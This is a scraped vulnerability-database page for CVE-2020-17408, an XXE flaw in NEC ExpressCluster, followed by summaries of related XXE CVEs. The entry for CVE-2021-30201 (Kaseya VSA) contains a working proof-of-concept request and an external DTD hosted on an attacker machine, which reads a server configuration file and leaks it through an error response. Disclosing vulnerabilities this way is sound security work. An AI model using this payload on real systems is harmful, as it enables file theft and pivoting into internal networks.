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Vulnerability Details :

CVE-2020-17408

Summary
Assigner-zdi
Assigner Org ID-99f1926a-a320-47d8-bbb5-42feb611262e
Published At-10 Sep, 2020 | 16:35
Updated At-04 Aug, 2024 | 13:53
Rejected At-
Credits

This vulnerability allows remote attackers to disclose sensitive information on affected installations of NEC ExpressCluster 4.1. Authentication is not required to exploit this vulnerability. The specific flaw exists within the clpwebmc executable. Due to the improper restriction of XML External Entity (XXE) references, a specially-crafted document specifying a URI causes the XML parser to access the URI and embed the contents back into the XML document for further processing. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Was ZDI-CAN-10801.

Vendors
-
Not available
Products
-
Metrics (CVSS)
VersionBase scoreBase severityVector
Weaknesses
Attack Patterns
Solution/Workaround
References
HyperlinkResource Type
EPSS History
Score
Latest Score
-
N/A
No data available for selected date range
Percentile
Latest Percentile
-
N/A
No data available for selected date range
Stakeholder-Specific Vulnerability Categorization (SSVC)
▼Common Vulnerabilities and Exposures (CVE)
cve.org
Assigner:zdi
Assigner Org ID:99f1926a-a320-47d8-bbb5-42feb611262e
Published At:10 Sep, 2020 | 16:35
Updated At:04 Aug, 2024 | 13:53
Rejected At:
▼CVE Numbering Authority (CNA)

This vulnerability allows remote attackers to disclose sensitive information on affected installations of NEC ExpressCluster 4.1. Authentication is not required to exploit this vulnerability. The specific flaw exists within the clpwebmc executable. Due to the improper restriction of XML External Entity (XXE) references, a specially-crafted document specifying a URI causes the XML parser to access the URI and embed the contents back into the XML document for further processing. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Was ZDI-CAN-10801.

Affected Products
Vendor
NEC CorporationNEC
Product
ExpressCluster
Versions
Affected
  • 4.1
Problem Types
TypeCWE IDDescription
CWECWE-611CWE-611: Improper Restriction of XML External Entity Reference ('XXE')
Type: CWE
CWE ID: CWE-611
Description: CWE-611: Improper Restriction of XML External Entity Reference ('XXE')
Metrics
VersionBase scoreBase severityVector
3.07.5HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Version: 3.0
Base score: 7.5
Base severity: HIGH
Vector:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Metrics Other Info
Impacts
CAPEC IDDescription
Solutions

Configurations

Workarounds

Exploits

Credits

rgod
Timeline
EventDate
Replaced By

Rejected Reason

References
HyperlinkResource
https://www.zerodayinitiative.com/advisories/ZDI-20-1102/
x_refsource_MISC
https://www.support.nec.co.jp/en/View.aspx?id=9510100319
x_refsource_MISC
Hyperlink: https://www.zerodayinitiative.com/advisories/ZDI-20-1102/
Resource:
x_refsource_MISC
Hyperlink: https://www.support.nec.co.jp/en/View.aspx?id=9510100319
Resource:
x_refsource_MISC
▼Authorized Data Publishers (ADP)
CVE Program Container
Affected Products
Metrics
VersionBase scoreBase severityVector
Metrics Other Info
Impacts
CAPEC IDDescription
Solutions

Configurations

Workarounds

Exploits

Credits

Timeline
EventDate
Replaced By

Rejected Reason

References
HyperlinkResource
https://www.zerodayinitiative.com/advisories/ZDI-20-1102/
x_refsource_MISC
x_transferred
https://www.support.nec.co.jp/en/View.aspx?id=9510100319
x_refsource_MISC
x_transferred
Hyperlink: https://www.zerodayinitiative.com/advisories/ZDI-20-1102/
Resource:
x_refsource_MISC
x_transferred
Hyperlink: https://www.support.nec.co.jp/en/View.aspx?id=9510100319
Resource:
x_refsource_MISC
x_transferred
Information is not available yet
▼National Vulnerability Database (NVD)
nvd.nist.gov
Source:zdi-disclosures@trendmicro.com
Published At:10 Sep, 2020 | 17:15
Updated At:15 Sep, 2020 | 14:35

This vulnerability allows remote attackers to disclose sensitive information on affected installations of NEC ExpressCluster 4.1. Authentication is not required to exploit this vulnerability. The specific flaw exists within the clpwebmc executable. Due to the improper restriction of XML External Entity (XXE) references, a specially-crafted document specifying a URI causes the XML parser to access the URI and embed the contents back into the XML document for further processing. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Was ZDI-CAN-10801.

CISA Catalog
Date AddedDue DateVulnerability NameRequired Action
N/A
Date Added: N/A
Due Date: N/A
Vulnerability Name: N/A
Required Action: N/A
Metrics
TypeVersionBase scoreBase severityVector
Primary3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Secondary3.07.5HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary2.05.0MEDIUM
AV:N/AC:L/Au:N/C:P/I:N/A:N
Type: Primary
Version: 3.1
Base score: 7.5
Base severity: HIGH
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Type: Secondary
Version: 3.0
Base score: 7.5
Base severity: HIGH
Vector:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Type: Primary
Version: 2.0
Base score: 5.0
Base severity: MEDIUM
Vector:
AV:N/AC:L/Au:N/C:P/I:N/A:N
CPE Matches

NEC Corporation
nec
>>expresscluster_x>>4.1
cpe:2.3:a:nec:expresscluster_x:4.1:*:*:*:*:windows:*:*
NEC Corporation
nec
>>expresscluster_x>>4.2
cpe:2.3:a:nec:expresscluster_x:4.2:*:*:*:*:windows:*:*
Weaknesses
CWE IDTypeSource
CWE-611Primaryzdi-disclosures@trendmicro.com
CWE ID: CWE-611
Type: Primary
Source: zdi-disclosures@trendmicro.com
Evaluator Description

Evaluator Impact

Evaluator Solution

Vendor Statements

References
HyperlinkSourceResource
https://www.support.nec.co.jp/en/View.aspx?id=9510100319zdi-disclosures@trendmicro.com
Patch
Vendor Advisory
https://www.zerodayinitiative.com/advisories/ZDI-20-1102/zdi-disclosures@trendmicro.com
Third Party Advisory
VDB Entry
Hyperlink: https://www.support.nec.co.jp/en/View.aspx?id=9510100319
Source: zdi-disclosures@trendmicro.com
Resource:
Patch
Vendor Advisory
Hyperlink: https://www.zerodayinitiative.com/advisories/ZDI-20-1102/
Source: zdi-disclosures@trendmicro.com
Resource:
Third Party Advisory
VDB Entry

Change History

0
Information is not available yet

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CWE ID-CWE-611
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Matching Score-4
Assigner-Adobe Systems Incorporated
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Matching Score-4
Assigner-Adobe Systems Incorporated
CVSS Score-7.5||HIGH
EPSS-0.90% / 74.73%
||
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Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

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CWE ID-CWE-611
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Matching Score-4
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ShareView Details
Matching Score-4
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7 Day CHG~0.00%
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Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

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CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
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Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-1.77% / 81.91%
||
7 Day CHG~0.00%
Published-24 Mar, 2017 | 14:00
Updated-20 Apr, 2025 | 01:37
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

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Product-debian_linuxpysaml2n/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2015-9280
Matching Score-4
Assigner-MITRE Corporation
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Matching Score-4
Assigner-MITRE Corporation
CVSS Score-10||CRITICAL
EPSS-0.26% / 49.25%
||
7 Day CHG~0.00%
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Updated-06 Aug, 2024 | 08:43
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

MailEnable before 8.60 allows XXE via an XML document in the request.aspx Options parameter.

Action-Not Available
Vendor-mailenablen/a
Product-mailenablen/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2024-24743
Matching Score-4
Assigner-SAP SE
ShareView Details
Matching Score-4
Assigner-SAP SE
CVSS Score-8.6||HIGH
EPSS-0.20% / 42.51%
||
7 Day CHG~0.00%
Published-13 Feb, 2024 | 02:43
Updated-07 Nov, 2024 | 19:10
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
XXE vulnerability in SAP NetWeaver AS Java (Guided Procedures)

SAP NetWeaver AS Java (CAF - Guided Procedures) - version 7.50, allows an unauthenticated attacker to submit a malicious request with a crafted XML file over the network, which when parsed will enable him to access sensitive files and data but not modify them. There are expansion limits in place so that availability is not affected.

Action-Not Available
Vendor-SAP SE
Product-netweaver_application_server_javaSAP NetWeaver AS Java (Guided Procedures)
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2025-54254
Matching Score-4
Assigner-Adobe Systems Incorporated
ShareView Details
Matching Score-4
Assigner-Adobe Systems Incorporated
CVSS Score-8.6||HIGH
EPSS-0.09% / 26.36%
||
7 Day CHG~0.00%
Published-05 Aug, 2025 | 16:53
Updated-22 Aug, 2025 | 17:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Adobe Experience Manager | Improper Restriction of XML External Entity Reference ('XXE') (CWE-611)

Adobe Experience Manager versions 6.5.23 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files on the local file system, scope is changed. Exploitation of this issue does not require user interaction.

Action-Not Available
Vendor-Adobe Inc.
Product-experience_manager_formsAdobe Experience Manager
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2025-52888
Matching Score-4
Assigner-GitHub, Inc.
ShareView Details
Matching Score-4
Assigner-GitHub, Inc.
CVSS Score-7.5||HIGH
EPSS-0.05% / 16.56%
||
7 Day CHG~0.00%
Published-24 Jun, 2025 | 19:45
Updated-26 Jun, 2025 | 18:58
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Allure 2's xunit-xml-plugin Vulnerable to Improper XXE Restriction

Allure 2 is the version 2.x branch of Allure Report, a multi-language test reporting tool. A critical XML External Entity (XXE) vulnerability exists in the xunit-xml-plugin used by Allure 2 prior to version 2.34.1. The plugin fails to securely configure the XML parser (`DocumentBuilderFactory`) and allows external entity expansion when processing test result .xml files. This allows attackers to read arbitrary files from the file system and potentially trigger server-side request forgery (SSRF). Version 2.34.1 contains a patch for the issue.

Action-Not Available
Vendor-allure-framework
Product-allure2
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2024-11622
Matching Score-4
Assigner-Hewlett Packard Enterprise (HPE)
ShareView Details
Matching Score-4
Assigner-Hewlett Packard Enterprise (HPE)
CVSS Score-7.3||HIGH
EPSS-0.10% / 28.35%
||
7 Day CHG~0.00%
Published-26 Nov, 2024 | 21:31
Updated-12 Dec, 2024 | 19:52
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

An XML external entity injection (XXE) vulnerability in HPE Insight Remote Support may allow remote users to disclose information in certain cases.

Action-Not Available
Vendor-Hewlett Packard Enterprise (HPE)
Product-insight_remote_supportHPE Insight Remote Supportinsight_remote_support
CWE ID-CWE-91
XML Injection (aka Blind XPath Injection)
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2024-1167
Matching Score-4
Assigner-Cybersecurity and Infrastructure Security Agency (CISA) Industrial Control Systems (ICS)
ShareView Details
Matching Score-4
Assigner-Cybersecurity and Infrastructure Security Agency (CISA) Industrial Control Systems (ICS)
CVSS Score-5.5||MEDIUM
EPSS-0.08% / 25.16%
||
7 Day CHG~0.00%
Published-01 Feb, 2024 | 18:01
Updated-15 May, 2025 | 19:51
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
SEW-EURODRIVE MOVITOOLS MotionStudio Improper Restriction of XML External Entity Reference

When SEW-EURODRIVE MOVITOOLS MotionStudio processes XML information unrestricted file access can occur.

Action-Not Available
Vendor-seweurodriveSEW-EURODRIVE
Product-movitools_motionstudioMOVITOOLS MotionStudio
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2018-20733
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-0.28% / 50.64%
||
7 Day CHG~0.00%
Published-17 Jan, 2019 | 01:00
Updated-05 Aug, 2024 | 12:12
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

BI Web Services in SAS Web Infrastructure Platform before 9.4M6 allows XXE.

Action-Not Available
Vendor-sasn/aHewlett Packard Enterprise (HPE)Oracle CorporationMicrosoft CorporationIBM CorporationLinux Kernel Organization, Inc
Product-hp-ux_ipfiltersolarislinux_kernelwindowsaixweb_infrastructure_platformn/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2021-33950
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-0.08% / 24.54%
||
7 Day CHG~0.00%
Published-17 Feb, 2023 | 00:00
Updated-18 Mar, 2025 | 19:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

An issue discovered in OpenKM v6.3.10 allows attackers to obtain sensitive information via the XMLTextExtractor function.

Action-Not Available
Vendor-openkmn/a
Product-openkmn/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2018-19244
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-8.6||HIGH
EPSS-0.29% / 52.09%
||
7 Day CHG~0.00%
Published-13 Nov, 2018 | 06:00
Updated-05 Aug, 2024 | 11:30
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

An XML External Entity (XXE) vulnerability exists in the Charles 4.2.7 import/export setup option. If a user imports a "Charles Settings.xml" file from an attacker, an intranet network may be accessed and information may be leaked.

Action-Not Available
Vendor-charlesproxyn/a
Product-charlesn/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2018-20157
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-0.56% / 67.26%
||
7 Day CHG~0.00%
Published-14 Dec, 2018 | 23:00
Updated-05 Aug, 2024 | 11:51
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

The data import functionality in OpenRefine through 3.1 allows an XML External Entity (XXE) attack through a crafted (zip) file, allowing attackers to read arbitrary files.

Action-Not Available
Vendor-openrefinen/a
Product-openrefinen/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2023-6280
Matching Score-4
Assigner-Spanish National Cybersecurity Institute, S.A. (INCIBE)
ShareView Details
Matching Score-4
Assigner-Spanish National Cybersecurity Institute, S.A. (INCIBE)
CVSS Score-7.2||HIGH
EPSS-0.03% / 8.28%
||
7 Day CHG~0.00%
Published-19 Dec, 2023 | 15:00
Updated-02 Aug, 2024 | 09:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
XML External Entity Reference on 52North WPS

An XXE (XML External Entity) vulnerability has been detected in 52North WPS affecting versions prior to 4.0.0-beta.11. This vulnerability allows the use of external entities in its WebProcessingService servlet for an attacker to retrieve files by making HTTP requests to the internal network.

Action-Not Available
Vendor-52north52North
Product-wps52North WPS
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2023-6836
Matching Score-4
Assigner-WSO2 LLC
ShareView Details
Matching Score-4
Assigner-WSO2 LLC
CVSS Score-4.6||MEDIUM
EPSS-0.17% / 38.71%
||
7 Day CHG~0.00%
Published-15 Dec, 2023 | 09:26
Updated-02 Aug, 2024 | 08:42
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

Multiple WSO2 products have been identified as vulnerable due to an XML External Entity (XXE) attack abuses a widely available but rarely used feature of XML parsers to access sensitive information.

Action-Not Available
Vendor-WSO2 LLC
Product-api_microgatewayapi_managerenterprise_integratorapi_manager_analyticsmicro_integratoridentity_serveridentity_server_as_key_managerWSO2 Micro IntegratorWSO2 API Manager WSO2 API MicrogatewayWSO2 Enterprise IntegratorWSO2 Identity ServerWSO2 API Manager AnalyticsWSO2 IS as Key Manager
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2018-17912
Matching Score-4
Assigner-Cybersecurity and Infrastructure Security Agency (CISA) Industrial Control Systems (ICS)
ShareView Details
Matching Score-4
Assigner-Cybersecurity and Infrastructure Security Agency (CISA) Industrial Control Systems (ICS)
CVSS Score-7.5||HIGH
EPSS-0.47% / 63.41%
||
7 Day CHG~0.00%
Published-02 Nov, 2018 | 14:00
Updated-05 Aug, 2024 | 11:01
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

An XXE vulnerability exists in CASE Suite Versions 3.10 and prior when processing parameter entities, which may allow remote file disclosure.

Action-Not Available
Vendor-sauter-controlsunknown
Product-case_suiteCASE Suite
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2015-3451
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-5||MEDIUM
EPSS-3.36% / 86.85%
||
7 Day CHG~0.00%
Published-12 May, 2015 | 19:00
Updated-12 Apr, 2025 | 10:46
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

The _clone function in XML::LibXML before 2.0119 does not properly set the expand_entities option, which allows remote attackers to conduct XML external entity (XXE) attacks via crafted XML data to the (1) new or (2) load_xml function.

Action-Not Available
Vendor-xml-libxml_projectn/aopenSUSEFedora ProjectDebian GNU/LinuxCanonical Ltd.
Product-fedoraopensuseubuntu_linuxxml-libxmldebian_linuxn/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2025-44044
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-0.06% / 17.37%
||
7 Day CHG~0.00%
Published-10 Jun, 2025 | 00:00
Updated-12 Jun, 2025 | 16:06
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

Keyoti SearchUnit prior to 9.0.0. is vulnerable to XML External Entity (XXE). An attacker who can force a vulnerable SearchUnit host into parsing maliciously crafted XML and/or DTD files can exfiltrate some files from the underlying operating system.

Action-Not Available
Vendor-n/a
Product-n/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2023-51591
Matching Score-4
Assigner-Zero Day Initiative
ShareView Details
Matching Score-4
Assigner-Zero Day Initiative
CVSS Score-6.5||MEDIUM
EPSS-0.14% / 34.55%
||
7 Day CHG~0.00%
Published-03 May, 2024 | 02:15
Updated-09 Jul, 2025 | 16:57
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Voltronic Power ViewPower Pro doDocument XML External Entity Processing Information Disclosure Vulnerability

Voltronic Power ViewPower Pro doDocument XML External Entity Processing Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Voltronic Power ViewPower Pro. Authentication is not required to exploit this vulnerability. The specific flaw exists within the doDocument method. Due to the improper restriction of XML External Entity (XXE) references, a crafted document specifying a URI causes the XML parser to access the URI and embed the contents back into the XML document for further processing. An attacker can leverage this vulnerability to disclose information in the context of LOCAL SERVICE. Was ZDI-CAN-22081.

Action-Not Available
Vendor-voltronicpowerVoltronic Powervoltronic_power
Product-viewpowerViewPower Proviewpower_pro
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2015-1809
Matching Score-4
Assigner-Red Hat, Inc.
ShareView Details
Matching Score-4
Assigner-Red Hat, Inc.
CVSS Score-7.5||HIGH
EPSS-0.13% / 33.49%
||
7 Day CHG~0.00%
Published-15 Jan, 2020 | 18:05
Updated-06 Aug, 2024 | 04:54
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

XML external entity (XXE) vulnerability in CloudBees Jenkins before 1.600 and LTS before 1.596.1 allows remote attackers to read arbitrary XML files via an XPath query.

Action-Not Available
Vendor-CloudBeesJenkins
Product-cloudbeesJenkinsJenkins LTS
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2018-13823
Matching Score-4
Assigner-CA Technologies - A Broadcom Company
ShareView Details
Matching Score-4
Assigner-CA Technologies - A Broadcom Company
CVSS Score-7.5||HIGH
EPSS-0.43% / 61.78%
||
7 Day CHG~0.00%
Published-30 Aug, 2018 | 14:00
Updated-16 Sep, 2024 | 16:38
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

An XML external entity vulnerability in the XOG functionality, in CA PPM 14.3 and below, 14.4, 15.1, 15.2 CP5 and below, and 15.3 CP2 and below, allows remote attackers to access sensitive information.

Action-Not Available
Vendor-Broadcom Inc.
Product-project_portfolio_managementPPM
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2018-20000
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-0.28% / 50.95%
||
7 Day CHG~0.00%
Published-10 Dec, 2018 | 02:00
Updated-16 Sep, 2024 | 18:44
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

Apereo Bedework bw-webdav before 4.0.3 allows XXE attacks, as demonstrated by an invite-reply document that reads a local file, related to webdav/servlet/common/MethodBase.java and webdav/servlet/common/PostRequestPars.java.

Action-Not Available
Vendor-apereon/a
Product-bw-webdavn/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2018-14383
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-0.28% / 50.95%
||
7 Day CHG~0.00%
Published-07 Aug, 2019 | 14:14
Updated-05 Aug, 2024 | 09:29
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

The Transition Technologies "The Scheduler" app 5.1.3 for Jira allows XXE due to a weakly configured/parameterized XML parser. It was fixed in the versions 5.2.1 and 3.3.7

Action-Not Available
Vendor-ttpscn/a
Product-the_schedulern/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2021-29620
Matching Score-4
Assigner-GitHub, Inc.
ShareView Details
Matching Score-4
Assigner-GitHub, Inc.
CVSS Score-7.5||HIGH
EPSS-0.96% / 75.56%
||
7 Day CHG~0.00%
Published-23 Jun, 2021 | 17:35
Updated-03 Aug, 2024 | 22:11
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
XXE vulnerability on Launch import with externally-defined DTD file

Report portal is an open source reporting and analysis framework. Starting from version 3.1.0 of the service-api XML parsing was introduced. Unfortunately the XML parser was not configured properly to prevent XML external entity (XXE) attacks. This allows a user to import a specifically-crafted XML file which imports external Document Type Definition (DTD) file with external entities for extraction of secrets from Report Portal service-api module or server-side request forgery. This will be resolved in the 5.4.0 release.

Action-Not Available
Vendor-reportportalreportportal
Product-service-apireportportal
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2020-15418
Matching Score-4
Assigner-Zero Day Initiative
ShareView Details
Matching Score-4
Assigner-Zero Day Initiative
CVSS Score-7.5||HIGH
EPSS-21.85% / 95.54%
||
7 Day CHG~0.00%
Published-28 Jul, 2020 | 17:10
Updated-04 Aug, 2024 | 13:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

This vulnerability allows remote attackers to disclose sensitive information on affected installations of Veeam ONE 10.0.0.750_20200415. Authentication is not required to exploit this vulnerability. The specific flaw exists within the SSRSReport class. Due to the improper restriction of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser to access the URI and embed the contents back into the XML document for further processing. An attacker can leverage this vulnerability to disclose file contents in the context of SYSTEM. Was ZDI-CAN-10709.

Action-Not Available
Vendor-Veeam Software Group GmbH
Product-one_firmwareoneONE
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2021-30201
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-0.33% / 55.12%
||
7 Day CHG~0.00%
Published-09 Jul, 2021 | 13:25
Updated-03 Aug, 2024 | 22:24
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Unauthenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6

The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.

Action-Not Available
Vendor-kaseyan/a
Product-vsan/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2018-1308
Matching Score-4
Assigner-Apache Software Foundation
ShareView Details
Matching Score-4
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-6.07% / 90.38%
||
7 Day CHG~0.00%
Published-09 Apr, 2018 | 13:00
Updated-17 Sep, 2024 | 02:47
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

This vulnerability in Apache Solr 1.2 to 6.6.2 and 7.0.0 to 7.2.1 relates to an XML external entity expansion (XXE) in the `&dataConfig=<inlinexml>` parameter of Solr's DataImportHandler. It can be used as XXE using file/ftp/http protocols in order to read arbitrary local files from the Solr server or the internal network.

Action-Not Available
Vendor-The Apache Software FoundationDebian GNU/Linux
Product-debian_linuxsolrApache Solr
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2018-18659
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-0.33% / 54.81%
||
7 Day CHG~0.00%
Published-26 Oct, 2018 | 13:00
Updated-16 Sep, 2024 | 22:50
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

An issue was discovered in Arcserve Unified Data Protection (UDP) through 6.5 Update 4. There is a DDI-VRT-2018-19 Unauthenticated XXE in /management/UdpHttpService issue.

Action-Not Available
Vendor-n/aArcserve, LLC
Product-udpn/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2018-18737
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-0.37% / 58.10%
||
7 Day CHG~0.00%
Published-28 Oct, 2018 | 03:00
Updated-05 Aug, 2024 | 11:16
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

An XXE issue was discovered in Douchat 4.0.4 because Data\notify.php calls simplexml_load_string. This can also be used for SSRF.

Action-Not Available
Vendor-douchatn/a
Product-douchatn/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
